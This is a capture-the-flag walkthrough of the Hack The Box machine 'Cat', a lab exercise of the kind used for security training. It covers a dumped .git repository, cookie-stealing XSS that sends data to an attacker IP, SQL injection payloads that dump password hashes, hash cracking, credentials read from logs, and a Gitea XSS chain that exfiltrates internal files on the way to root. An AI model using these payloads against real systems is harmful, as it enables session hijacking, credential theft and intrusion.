Medium
Cat [45 pts]
Challenge Description |
Points: 45 |
Solves: 2683 |
- enumerate the page to find hidden
.git
directory where you can review the source code of the application - find XSS to get the admin token and SQLi to get username and password for the first user of the box
- the user is in special group and can read logs, use this to leak the other user password
- find that Gitea is running internally, which has another XSS vulnerability to leak root password
Enumeration
Starting with nmap
kali@kali:~/HTB/cat $ mkdir nmap
kali@kali:~/HTB/cat $ nmap -sC -sV -oA nmap/cat $IP
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-24 17:45 EST
Nmap scan report for 10.10.11.53
Host is up (0.64s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 96:2d:f5:c6:f6:9f:59:60:e5:65:85:ab:49:e4:76:14 (RSA)
| 256 9e:c4:a4:40:e9:da:cc:62:d1:d6:5a:2f:9e:7b:d4:aa (ECDSA)
|_ 256 6e:22:2a:6a:6d:eb:de:19:b7:16:97:c2:7e:89:29:d5 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://cat.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.96 seconds
Only one service is running besides SSH and it’s a HTTP server. Adding cat.htb
to our /etc/hosts
file, so we can access the website.
sudo bash -c "echo -e \"10.10.11.53\tcat.htb\" >> /etc/hosts"
Home page … there is not much to do when not logged in.
Account registration
After creating new account in we can access Contest
tab
At first I tried probing for file upload vuln and SQLi, but I quickly noticed that the fields have some kind of blacklist on them as it responded with Your entry contains invalid characters.
.
I ran ffuf
to search for files with .php
extensions.
kali@kali:~/HTB/cat $ ffuf -u http://cat.htb/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt -e php -fc 403
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://cat.htb/FUZZ
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt
:: Extensions : php
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response status: 403
________________________________________________
index.php [Status: 200, Size: 3075, Words: 870, Lines: 130, Duration: 81ms]
admin.php [Status: 302, Size: 1, Words: 1, Lines: 2, Duration: 86ms]
config.php [Status: 200, Size: 1, Words: 1, Lines: 2, Duration: 50ms]
logout.php [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 48ms]
vote.php [Status: 200, Size: 1242, Words: 319, Lines: 42, Duration: 41ms]
. [Status: 200, Size: 3075, Words: 870, Lines: 130, Duration: 53ms]
join.php [Status: 200, Size: 4004, Words: 997, Lines: 141, Duration: 52ms]
.git [Status: 301, Size: 301, Words: 20, Lines: 10, Duration: 46ms]
index.php [Status: 200, Size: 3075, Words: 870, Lines: 130, Duration: 46ms]
contest.php [Status: 302, Size: 1, Words: 1, Lines: 2, Duration: 44ms]
admin.php [Status: 302, Size: 1, Words: 1, Lines: 2, Duration: 42ms]
winners.php [Status: 200, Size: 5082, Words: 1554, Lines: 197, Duration: 51ms]
:: Progress: [34258/34258] :: Job [1/1] :: 829 req/sec :: Duration: [0:00:51] :: Errors: 0 ::
.git
is accessible directory. We can download all files with https://github.com/arthaud/git-dumper.git
kali@kali:~/HTB/cat $ mkdir catgit
kali@kali:~/HTB/cat $ git-dumper http://cat.htb/.git/ catgit
[-] Testing http://cat.htb/.git/HEAD [200]
[-] Testing http://cat.htb/.git/ [403]
[-] Fetching common files
[-] Fetching http://cat.htb/.git/COMMIT_EDITMSG [200]
[-] Fetching http://cat.htb/.git/description [200]
[-] Fetching http://cat.htb/.git/hooks/commit-msg.sample [200]
...
Now we have access to the source code.
kali@kali:~/HTB/cat/catgit (git)-[master] $ ls
accept_cat.php admin.php config.php contest.php css delete_cat.php img img_winners index.php join.php logout.php view_cat.php vote.php winners winners.php
Web exploitation
When examining the source code, I noticed that most of the SQL queries used prepared statements, except the one in accept_cat.php
$sql_insert = "INSERT INTO accepted_cats (name) VALUES ('$cat_name')";
This can lead to SQLi with payload such as test')+;delete+from+cats--
. When I searched, where is this file included, I noticed that admin.php
sends request to the endpoint within the acceptCat
function.
...
<button class="accept-button" onclick="acceptCat('<?php echo htmlspecialchars($cat['cat_name']); ?>', <?php echo htmlspecialchars($cat['cat_id']); ?>)">Accept</button>
...
function acceptCat(catName, catId) {
if (confirm("Are you sure you want to accept this cat?")) {
var xhr = new XMLHttpRequest();
xhr.open("POST", "accept_cat.php", true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.onreadystatechange = function() {
if (xhr.readyState === 4 && xhr.status === 200) {
window.location.reload();
}
};
xhr.send("catName=" + encodeURIComponent(catName) + "&catId=" + catId);
}
}
It uses htmlspecialchars
to prevent special characters from the cat name (which can lead to XSS), but it does not stop the following SQLi. But there isn’t much that we can do with it for now (we can’t view the responses from the database). When looking around the app a bit more I also noticed that when the admin tries to inspect the cat information in view_cat.php
, username of the owner is also displayed, which is not checked at all during the registration phase.
<strong>Owner:</strong> <?php echo $cat['username']; ?><br>
So we can probably introduce some XSS when the admin tries to inspect the cat to leak the admin PHP session cookie. Let’s try registering with the following username:
<img src=x onerror="fetch('http://10.10.16.153:8888/cookie?=' + encodeURIComponent(document.cookie))">
Then create a post in contest
to see, if admin accesses it. Before clicking submit remember to start HTTP server to listen for the response
kali@kali:~/HTB/cat/catgit (git)-[master] $ python3 -m http.server 8888
Serving HTTP on 0.0.0.0 port 8888 (http://0.0.0.0:8888/) ...
10.10.11.53 - - [25/Feb/2025 13:21:01] code 404, message File not found
10.10.11.53 - - [25/Feb/2025 13:21:01] "GET /cookie?=PHPSESSID%3Djbjr3f29ffkutrcj41ikrhg908 HTTP/1.1" 404 -
Okay we leaked the admin cookie, now we can access anything with it by simply replacing our cookie with it
Now we can probably do a post directly to the accept_cat.php
to perform our SQLi? This payload works but is a bit funky (couldn’t get it to work alone, I had to create a cat manually and execute this right after to get it to work)
catId=1&catName=');+insert+into+cats+(cat_name,age,birthdate,weight,photo_path,owner_username)+values+((select+password+from+users+where+username='axel'),'1','1','1','1','1');+--+
We managed to get a pw hash for user axel
: d1bbba3670feb9435c9841e46e60ee2f
I couldn’t crack this hash in crackstation so I assumed there might be more users. Let’s fetch them all at once
catId=1&catName=');+insert+into+cats+(cat_name,age,birthdate,weight,photo_path,owner_username)+values+((SELECT+GROUP_CONCAT(username,'|')+from+users),'1','1','1','1','1');+--+
and their passwords
catId=1&catName=');+insert+into+cats+(cat_name,age,birthdate,weight,photo_path,owner_username)+values+((SELECT+GROUP_CONCAT(password,'|')+from+users),'1','1','1','1','1');+--+
and we end up with the following list
axel:d1bbba3670feb9435c9841e46e60ee2f
rosa:ac369922d560f17d6eeb8b2c7dec498c
robert:42846631708f69c00ec0c0a8aa4a92ad
fabian:39e153e825c4a3d314a0dc7f7475ddbe
jerryson:781593e060f8d065cd7281c5ec5b4b86
larry:1b6dce240bbfbc0905a664ad199e18f8
royer:c598f6b844a36fa7836fba0835f1f6
peter:e41ccefa439fc454f7eadbf1f139ed8a
angel:24a8ec003ac2e1b3c5953a6f95f8f565
jobert:88e4dceccd48820cf77b5cf6c08698ad
We can either use Hashcat to crack them (or use crackstation)
hashcat -a 0 -m 0 hashes /usr/share/wordlists/rockyou.txt --username
I managed to crack the password for user rosa
which is soyunaprincesarosa
. Now we can access the machine as user rosa
Pivoting
Looking around the box, we can find that something is running on port 3000
rosa@cat:~$ netstat -tunl
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:36247 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:3000 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:41569 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:587 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:46063 0.0.0.0:* LISTEN
tcp6 0 0 :::22 :::* LISTEN
tcp6 0 0 :::80 :::* LISTEN
udp 0 0 127.0.0.53:53 0.0.0.0:*
Let’s create a tunnel and access it
kali@kali:~/HTB/cat $ ssh -L 0.0.0.0:8000:localhost:3000 rosa@$IP
It’s a Gitea application
Going back to the box since I can’t do much here I ran linpeas and got something interesting. Rosa is in adm
group, which a group for system monitoring tasks - they usually have access to logs. We can list which files can we access with file
rosa@cat:~$ find /var/log/ -group adm 2>/dev/null
...
/var/log/apache2/access.log
/var/log/apache2/access.log.2.gz
/var/log/apache2/error.log.1
/var/log/apache2/error.log
/var/log/apache2/error.log.2.gz
/var/log/apache2/other_vhosts_access.log
/var/log/apache2/access.log.1
...
Since we know, that axel is accessing the HTTP server to validate requests, maybe we can see his credentials when logging in.
rosa@cat:~$ cat /var/log/apache2/access.log | grep axel -m1
127.0.0.1 - - [26/Feb/2025:04:00:59 +0000] "GET /join.php?loginUsername=axel&loginPassword=aNdZwgC4tI9gnVXv_e3Q&loginForm=Login HTTP/1.1" 302 329 "http://cat.htb/join.php" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0"
Now we have access to the axel
user with password aNdZwgC4tI9gnVXv_e3Q
on the box and we can get the user flag
rosa@cat:~$ su axel
Password:
axel@cat:/home/rosa$ cd ~
axel@cat:~$ cat user.txt
22e1ca5...
Now we can also read what email does this user have.
From rosa@cat.htb Sat Sep 28 04:51:50 2024
Subject: New cat services
Hi Axel,
We are planning to launch new cat-related web services, including a cat care website and other projects. Please send an email to jobert@localhost with information about your Gitea repository. Jobert will check if it is a promising service that we can develop.
Important note: Be sure to include a clear description of the idea so that I can understand it properly. I will review the whole repository.
From rosa@cat.htb Sat Sep 28 05:05:28 2024
Subject: Employee management
We are currently developing an employee management system. Each sector administrator will be assigned a specific role, while each employee will be able to consult their assigned tasks. The project is still under development and is hosted in our private Gitea. You can visit the repository at: http://localhost:3000/administrator/Employee-management/. In addition, you can consult the README file, highlighting updates and other important details, at: http://localhost:3000/administrator/Employee-management/raw/branch/main/README.md.
Getting back to Gitea
We can also login with axel to the Gitea application. This version is vulnerable to XSS: Gitea 1.22.0 - Stored XSS - Multiple webapps Exploit
## Steps to Reproduce
1. Log in to the application.
2. Create a new repository or modify an existing repository by clicking the Settings button from the `$username/$repo_name/settings` endpoint.
3. In the Description field, input the following payload:
<a href=javascript:alert()>XSS test</a>
4. Save the changes.
5. Upon clicking the repository description, the payload was successfully injected in the Description field. By clicking on the message, an alert box will appear, indicating the execution of the injected script.
This is most likely the correct thing to do, as the email mentioned to use description and that it will be checked. I modified the payload to ping us back on port 9000:
<a href="javascript:fetch('http://10.10.16.153:9000/test')">Click Me</a>
Next, created a repo called CatThing
and send email to jobert@localhost
with
axel@cat:~$ ls -la /var/mail
total 40
drwxrwsrwt 2 root mail 4096 Feb 26 15:35 .
drwxr-xr-x 13 root root 4096 Jun 6 2024 ..
-rw-rw---- 1 axel mail 1961 Jan 14 16:49 axel
-rw-rw---- 1 jobert mail 0 Feb 26 15:32 jobert
-rw------- 1 root mail 21980 Feb 26 15:35 root
axel@cat:~$ echo "http://localhost:3000/axel/CatThing" | sendmail jobert@localhost
axel@cat:~$ ls -la /var/mail
total 44
drwxrwsrwt 2 root mail 4096 Feb 26 15:36 .
drwxr-xr-x 13 root root 4096 Jun 6 2024 ..
-rw-rw---- 1 axel mail 1961 Jan 14 16:49 axel
-rw-rw---- 1 jobert mail 526 Feb 26 15:36 jobert
-rw------- 1 root mail 21980 Feb 26 15:35 root
You can also confirm that the email has been sent by looking at /var/mail/jobert filesize
Not working?
At first, I could not get a response back and I was stuck here for quite a bit. I saw a reddit post about the box and some user suggested to upload a file. I was wondering why was it necessary. Then it clicked … Assume that you have 2 repositories (test and test2), where the second one contains description text. Now when you don’t upload any files into the repository (in my case test), you will get a quick guide screen first, which does not show the description.
However, if you upload any files into the repository (test2 in my case), the description is shown. So you must add some files into the repo for the exploit to work.
Going back to our exploit, I uploaded an empty file and after some time, we get a ping back
kali@kali:~/HTB/cat (git)-[master] $ python3 -m http.server -b 0.0.0.0 9000
Serving HTTP on 0.0.0.0 port 9000 (http://0.0.0.0:9000/) ...
10.10.11.53 - - [26/Feb/2025 10:36:48] code 404, message File not found
10.10.11.53 - - [26/Feb/2025 10:36:48] "GET /test HTTP/1.1" 404 -
Okay so the XSS works. Now we can use the second email to extract some useful files, like http://localhost:3000/administrator/Employee-management/raw/branch/main/README.md
(which isn’t accessible by axel
). Time to rework the payload:
- first fetch the administrator README.md
- send it back to our server (encoded)
<a href="javascript:fetch('http://localhost:3000/administrator/Employee-management/raw/branch/main/index.php').then(response => response.text()).then(data => {fetch('http://10.10.16.153:9000/page?'+encodeURIComponent(data))})">Click Me</a>
This returned the following response:
Employee Management
Site under construction. Authorized user: admin. No visibility or updates visible to employees.
No luck here, but maybe there is some other pages we can access? For example index.php
since most pages here use php
?
<a href="javascript:fetch('http://localhost:3000/administrator/Employee-management/raw/branch/main/index.php').then(response => response.text()).then(data => {fetch('http://10.10.16.153:9000/page?'+encodeURIComponent(data))})">Click Me</a>
This returned much bigger response, so it’s probably something useful:
<?php
$valid_username = 'admin';
$valid_password = 'IKw75eR0MR7CMIxhH0';
if (!isset($_SERVER['PHP_AUTH_USER']) || !isset($_SERVER['PHP_AUTH_PW']) ||
$_SERVER['PHP_AUTH_USER'] != $valid_username || $_SERVER['PHP_AUTH_PW'] != $valid_password) {
header('WWW-Authenticate: Basic realm="Employee Management"');
header('HTTP/1.0 401 Unauthorized');
exit;
}
header('Location: dashboard.php');
exit;
?>
We recovered password IKw75eR0MR7CMIxhH0
for admin user. When randomly trying out the password for root it worked!
axel@cat:~$ su -
Password:
root@cat:~# ls
root.txt scripts
root@cat:~# cat root.txt
fd892dd3918a...